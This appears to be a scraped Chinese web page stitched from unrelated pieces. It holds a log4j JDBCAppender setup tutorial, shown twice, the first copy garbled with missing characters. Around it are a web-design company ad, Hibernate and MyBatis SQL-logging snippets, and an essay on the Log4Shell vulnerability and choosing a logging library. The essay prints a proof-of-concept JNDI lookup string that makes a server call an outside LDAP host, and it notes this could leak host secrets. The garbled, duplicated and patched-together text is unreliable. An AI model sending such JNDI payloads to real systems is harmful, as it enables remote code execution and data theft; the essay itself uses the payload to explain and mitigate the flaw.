、前提条件 系统必须使用LOG4J进行志管理否则效 系统必须包含mons-logging-xxx.jarlog4j-xxx.jar两JAR包XXX版本号 二、操作步骤 1、创建志表 要志持久化必须数据库创建张用存储志信息表表内字段志 主要属性包括:操作类执行打印间志级别志内容 CREATE TABLE RESLOG (LOGID VARCHAR2(20) NOT NULL, CLASS VARCHAR2(200), METHOD VARCHAR2(100), CREATETIME DATE, LOGLEVEL VARCHAR2(50), MSG VARCHAR2(4000)) 存储类类全部路径所CLASS字段度需要比较 2、志管理配置 LOG4J主要两种配置文件.properties.xmlproperties文件基础讲 述关于XML文件配置相信家看完面介绍能轻松完 通LOG4J.PROPERTIES文件第行: log4j.rootLogger= XXX句控制志输想吧志输数据库 则需要XXX添加DBlog4j.rootLogger=INFO,stdout,Platform,db面 句志级别INFO信息输STDOUT,PLATFORMDB (DATABASE) 配置信息LOG4J知道用户想信息存入数据库接我要 配置数据库相关信息(包括缓存数据库连接信息执行SQL)配置信息: ###JDBCAppender log4j.appender.db = org.apache.log4j.jdbc.JDBCAppender //配置选择使用JDBCAppender志信息存储数据库要做其操作自写类继承JDBCAppenderOK log4j.appender.db.BufferSize=1 //配置告诉LOG4J条志信息才存入数据库我1,说条查条显产环境影响系统性能 log4j.appender.db.driver=oracle.jdbc.driver.OracleDriver //配置告诉LOG4J做数据库存储所用驱 log4j.appender.db.URL=jdbc:oracle:thin:@:: //配置数据库连接URL用说都知道 log4j.appender.db.user=XXX log4j.appender.db.password=XXX //面两数据库连接用户名密码 log4j.appender.db.sql=insert into RESLOG (LogId,Class,Method,createTime,LogLevel,MSG) values (SQ_RESLOG_LOGID.Nextval,'%C','%M', to_date('%d{yyyy-MM-dd HH:mm:ss}','yyyy-MM-dd HH24:mi:ss'),'%p','%m') //配置告诉LOG4J吧志存储数据库用SQL语句SQ_RESLOG_LOGID.Nextval我建SEQUENCE;‘%C’志CLASS;‘%M’打印志执行类;‘%d’打印间支持格式化;‘%P’志级别包括INFO、DEBUG、ERROR等;‘%m’MSG志内容注意参数区写 log4j.appender.db.layout=org.apache.log4j.PatternLayout 通面配置现再启服务LOG4J自原存储.LOG文件信息同存储数据库
成都创新互联坚持“要么做到,要么别承诺”的工作理念,服务领域包括:网站设计制作、网站制作、企业官网、英文网站、手机端网站、网站推广等服务,满足客户于互联网时代的长顺网站设计、移动媒体设计的需求,帮助企业找到有效的互联网解决方案。努力成为您成熟可靠的网络建设合作伙伴!
一、前提条件 系统必须是使用LOG4J进行日志管理,否则方法无效。 系统必须包含中国mons-logging-xxx.jar,log4j-xxx.jar这两个JAR包,XXX为版本号。 二、操作步骤 1、创建日志表 要把日志持久化,必须在数据库中创建一张用来存储日志信息的表,表内字段为日志 的一个主要属性包括:操作类,执行方法,打印时间,日志级别,日志内容。 CREATE TABLE RESLOG (LOGID VARCHAR2(20) NOT NULL, CLASS VARCHAR2(200), METHOD VARCHAR2(100), CREATETIME DATE, LOGLEVEL VARCHAR2(50), MSG VARCHAR2(4000)) 因为存储的类为类的全部路径,所以CLASS字段长度需要比较大。 2、日志管理配置 LOG4J主要有两种配置文件.properties和.xml,这里以properties文件为基础来讲 述,关于XML文件的配置,相信大家看完下面的介绍也一样能轻松完成。 通常在LOG4J.PROPERTIES文件的第一行是: log4j.rootLogger= XXX,这句是控制日志的输出,如果想吧日志输出到数据库, 则需要在XXX中添加“DB”,如log4j.rootLogger=INFO,stdout,Platform,db。上面 这句就是把日志中级别为INFO的信息输出到STDOUT,PLATFORM和DB (DATABASE)中。 配置好如上的信息,LOG4J就知道用户是想把信息存入数据库,接下来我们就要来 配置数据库的相关信息(包括缓存,数据库连接信息,和执行SQL),配置信息如下: ###JDBCAppender log4j.appender.db = org.apache.log4j.jdbc.JDBCAppender //这个配置是选择使用JDBCAppender方法,将日志信息存储到数据库。当然,如果你还要做其他操作,可以自己写个类,继承JDBCAppender就OK了。 log4j.appender.db.BufferSize=1 //这个配置是告诉LOG4J,有中国条日志信息后才存入数据库,我这里是1,就是说有一条就查一条,显然这样在生产环境下是很影响系统性能的。 log4j.appender.db.driver=oracle.jdbc.driver.OracleDriver //这个配置是告诉LOG4J,做数据库存储所用的驱动。 log4j.appender.db.URL=jdbc:oracle:thin:@:: //这个配置数据库连接的URL,不用说也都知道。 log4j.appender.db.user=XXX log4j.appender.db.password=XXX //上面两个是数据库连接时的用户名和密码 log4j.appender.db.sql=insert into RESLOG (LogId,Class,Method,createTime,LogLevel,MSG) values (SQ_RESLOG_LOGID.Nextval,'%C','%M', to_date('%d{yyyy-MM-dd HH:mm:ss}','yyyy-MM-dd HH24:mi:ss'),'%p','%m') //这个配置是告诉当LOG4J吧日志存储数据库时用的SQL语句。SQ_RESLOG_LOGID.Nextval是我建的一个SEQUENCE;‘%C’是日志中的CLASS;‘%M’是打印日志是执行到类里的方法;‘%d’是打印的时间,它支持格式化;‘%P’是日志级别,包括INFO、DEBUG、ERROR等;‘%m’是MSG,日志内容。注意这里的参数区分大小写。 log4j.appender.db.layout=org.apache.log4j.PatternLayout 通过上面的配置,现在再启动服务,LOG4J就会自动把原来存储在.LOG文件中的信息,同时存储到数据库了
hibernate在控制台显示sql代码,是在property节点添加如下内容property name="show_sql"true/property,配置了这个应该就可以显示sql语句。你的错误,很有可能是配置的前面的错误,影响了后面的运行。或者你写的代码根本就没有实现从数据库提取数据的功能。
您好:我的log4j.properties在src目录下如下: ### logger 的配置 ### #配置根 logger 定义根 logger 配置项。其语法为:级别,输入终端1,输出终端2 log4j.rootLogger=INFO,stdout ### direct log messages to stdout
在程序调试时mybatis并没有hibernate所提供的showsql功能,只能通过配置log4j日志输出级别的方式来打印sql。但网上搜到的答案几乎都是下面的配置方式:
log4j.rootLogger=info,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.SimpleLayout
###显示SQL语句部分
log4j.logger.com.ibatis=DEBUG
log4j.logger.com.ibatis.common.jdbc.SimpleDataSource=DEBUG
log4j.logger.com.ibatis.common.jdbc.ScriptRunner=DEBUG
log4j.logger.com.ibatis.sqlmap.engine.impl.SqlMapClientDelegate=DEBUG
log4j.logger.java.sql.Connection=DEBUG
log4j.logger.java.sql.Statement=DEBUG
log4j.logger.java.sql.PreparedStatement=DEBUG12345678910111234567891011
rootLogger的级别是info,防止其他地方输出debug的调试代码(rootLogger若设为debug了,mybatis也没必要再设置了)。但这段代码根本没有作用!不知是不是我使用的jar包版本比较新的缘故(3.4.1)。经过一系列的尝试,终于找到了解决方案,直接修改dao层的输出级别即可:
loggers
Logger name="com.github.vita.code.dao" level="trace" /
root level="info"
appender-ref ref="Console"/
/root
/loggers123456123456
上面的是log4j 2的XML配置,1中对应的为log4j.logger.com.github.vita.code.dao=trace。这儿把输出调成了更低的trace,可以看到更详细的信息。
这几天让IT从业人员忙的不可开交的头等大事便是Log4j的远程执行漏洞了,我们先看一个简单的PoC:
先前往dnslog网站,申请一个子域名,假如是“subdomain.dnslog.cn”。
然后执行java Main ${jndi:ldap://subdomain.dnslog.cn/any},我们在dnslog网站上刷新请求记录,便会看到申请的子域名被访问了。
如果你是一个开发者,你会知道我们的代码里面毫无疑问充斥着大量这种用法。如果你是一个安全人员,自然知道当恶意访问人员输入时可不只是访问个域名就完事,很有可能把主机密码就传到指定网站了。
那解决的办法在各大厂、安全公司等也已经公布了,无非以下几种:
WAF或防火墙规则,我们先不聊,这个大公司都会做,但并不能完全解除问题。
我们把升级JDK、升级logback、替换成logback以及移除log4j的JNDI相关类都可以看作类库升级。一方面,这些方案都需要一个应用一个应用去执行(甚至有些需要一个一个实例去处理),重复劳动,投入较大;另一方面,兼容性存疑,在升级前必然要做一定的回归测试。此处的兼容性,可以略举一些例子:比如代码里写死了log4j的实现类,而不是slf4j的api时,想要直接替换成logback就不现实。有人可能会说代码规范不允许,但他们忘了,规范和执行是2个相关的事情,但不是必然的因果关系。比如一些只做维护的老系统,存在时间比很多人工龄都长,还有一些是外包产商开发维护的系统,这种情况就是稳定重于一切。
其余几个都是修改配置,但其中略有差异。比如环境变量影响操作系统上所有的应用,如果某个应用JDK版本较高,又刚好需要这个特性,那么就容易产生bug了。修改PatternLayout容易遗漏,比如通常在自己应用的log4j配置文件,但也有可能内部框架做了封装,在jar包有配置,甚至在代码里做了配置。而在log4j2.component.properties添加配置同修改PatternLayout,也还是需要重新打包构建(除非有统一配置中心,并魔改log4j)。
综上来看,我们要避免开发人员修改、避免再次构建,只做重启的话,只能是修改环境变量或添加启动参数了。当然,每个公司有它自己的体系,某些时候大众意义的不好用对于它而言,反而是最简单的。比如,没有自动化(尤其是k8s)的公司,想要改启动参数,运维一个个实例去修改,那简直痛不欲生。
如果我们是log4j的开发人员,当产品经理提出一个需求,即碰到由“${”开头、“}”结尾的日志时,自动做替换,这个需求我们要不要做,怎么做。
刚入行的我是不会问要不要做的,只会想着怎么做,那自然是匹配、解析了。
有一定经验的我则会问这个需求为了解决什么问题,有没有比产品经理提的刚恰当的方式来解决(产品经理资历较浅,或者对产品不够熟悉时)。那我们可以看下log4j这个需求的提交记录最早可以追溯到2013年了,提交记录较多,可以通过代码反向推测需求:类似slf4j,将日志中的占位符替换成真实值,真实值可以延迟计算,计算来源支持扩展。
从代码看,目前已有的扩展包括ctx(日志事件的上下文)、date(日志事件产生的时间)、env(系统环境)、jndi(JNDI上下文获取)、map、sd(结构化事件类型中获取)、sys(系统属性)、web(从web.xml等取ServletContext)
需求是实现了,那还有吗?
如果是一个资深的研发人员就会问了,有预计的使用频率吗,如果使用频率非常高,性能就需要注意不能拖后腿;这个特性如果出现问题,需要关闭,最好能动态关闭;这个特性实际使用了多少次,耗时多少,报错多少;这个是否会在多线程环境下执行,这段代码是否线程安全;用户的输入能否对服务器产生破坏,保存后对其他用户是否产生安全问题。
在一个成熟的企业中,需要考虑诸如此类的问题。当然,很多东西可以模板化,减少开发人员心智,比如CI/CD实践中的自动化测试和DevSecOps。
为什么这次的影响这么大,因为它是基础库,比如dubbo、kafka、flink等很多框架和中间件都用到了它。同时,这从侧面说明log4j2是一个比较值得选取的日志库。
那回到技术选型,以日志为例,我们需要考虑哪些方面呢?
功能。功能是否契合企业需求,缺失功能是否在未来计划,或者扩展实现难度。如果功能都不满足,那自然pass。log4j、logback、log4j2都提供了将日志输出的功能,功能上都能满足,细节根据各企业自身情况而定了。
性能。性能自然是非常重要的,生产是没法debug的,只能通过日志来跟踪某一个事务的情况,如果日志耗时太多,TPS自然受影响,用户体验变差,还可能导致硬件成本上升。log4j2的性能就比logback要出色,logback比log4j要出色。
群众基础和易用性。如果没人会用,使用起来也困难,大概率很难被接受,也很难流行。文档是否介绍了架构设计,也有使用文档,文档是否支持多种语言(本土语言)。log4j2的配置就比较多,特别是想要较高性能时,配置更是复杂。
稳定性与活跃度。生产上使用,肯定要求稳,不可能三五天做一次修复升级。如果功能还未按计划完全实现,那么迭代升级过程中会碰到诸多问题,需要有较多的人提前使用反馈意见做改进,出现问题时,能够通过搜索引擎或其他社群解决。
开源协议。如果不开源,那么使用时心中便会有诸多不安,万一哪个地方有雷都不知道,出了问题,自己能解决的概率也极低。比如MySQL的双协议,要求要么交费,要么开源改动,不如Apache Licence等宽松,导致很多公司开始选择PostgreSQL。
生态。与企业的整套框架是否有冲突,开发流程上是否需要做额外的事情。比如很多框架用了log4j2,贸然引进logback,势必多出工作量来排除log4j2的依赖。比如开发流程工具只支持logback(当然这种场景基本没有),那么使用log4j2就需要再仔细想想了。
架构设计与代码质量。如果代码的架构设计较差,扩展性没设计好,那么企业内部做扩展(二次开发)时,只能修改代码,与源头分叉,后续几乎没法合并,无法反哺开源社区,企业内部后续升级也十分困难。如果代码质量太差,一步一坑,大家直接用脚投票的。
前瞻性。架构设计要有一定的前瞻性,以应对未来的变化。功能建设上也要有一定的前瞻性,实现、验证、上线三者之间还是需要一定时间的。比起等待,大部分人都是想我现在要。